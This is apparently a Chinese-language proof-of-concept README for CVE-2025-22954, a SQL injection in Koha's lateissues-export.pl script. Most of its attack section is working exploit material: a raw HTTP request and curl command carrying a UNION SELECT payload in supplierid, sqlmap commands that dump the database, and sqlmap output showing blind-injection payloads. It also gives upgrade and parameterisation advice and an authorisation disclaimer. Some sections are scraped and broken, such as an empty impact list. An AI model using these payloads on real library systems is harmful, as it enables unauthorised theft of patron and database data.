
Koha CVE-2025-22954: SQL Injection in lateissues-export.pl
本仓库包含 CVE-2025-22954 的概念验证,这是一个严重影响级别(CVSS 10.0)的 SQL 注入漏洞,影响 24.11.02 之前的 Koha 版本。该漏洞存在于 C4/Serials.pm 的 GetLateOrMissingIssues 函数中,该函数由 /serials/lateissues-export.pl 脚本调用。漏洞可通过 supplierid 或 serialid 参数进行利用。
| CVE ID | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0(严重) |
| EPSS 评分 | 0.03%(前 5.26%) |
| 发布日期 | 2025 年 3 月 12 日 |
| 修复版本 | Koha 24.11.02 |
| 漏洞参考 | Koha Bug #38829 |
| 发布说明 | Koha 24.11.02 发布 |
该漏洞源于 lateissues-export.pl 脚本中 supplierid 和 serialid 参数对用户输入的不安全处理,这些参数被传递到 C4/Serials.pm 中的 GetLateOrMissingIssues 函数。该函数在使用这些输入构造 SQL 查询时未进行正确的清理或参数化,导致 SQL 注入攻击。
存在漏洞的脚本(lateissues-export.pl)包含以下代码:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
C4/Serials.pm 中的 GetLateOrMissingIssues 函数很可能包含易受攻击的 SQL 查询构建方式,其中 $supplierid 和 $serialid 参数直接拼接到 SQL 语句中,而未进行适当的参数化。
该概念验证演示了具有期刊模块访问权限的已认证用户如何利用此漏洞从 Koha 数据库中提取敏感数据,或可能获得对底层数据库系统的未经授权访问。
lateissues-export.pl 脚本的访问权限以下原始 HTTP 请求可用于利用该漏洞:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap 可用于自动化利用此漏洞。首先,捕获一个包含有效身份验证 Cookie 的对脆弱端点的请求,然后使用 SQLMap 利用注入点。
# 将带有有效 Cookie 的请求保存到 request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
示例的 request.txt 文件:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
你也可以直接使用 SQLMap 利用该漏洞:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
此漏洞允许已认证的攻击者:
升级到包含漏洞修复的 Koha 24.11.02 或更高版本。
如果无法立即升级,请考虑实施以下临时缓解措施:
/serials/lateissues-export.pl 脚本C4/Serials.pm 文件,对 GetLateOrMissingIssues 函数中的 SQL 查询进行适当的参数化此概念验证仅供教育和防御目的使用。在测试任何系统的漏洞之前,请务必获取适当的授权。
作者不对本信息的任何滥用负责。此概念验证仅应在您拥有或获得明确测试许可的系统上使用。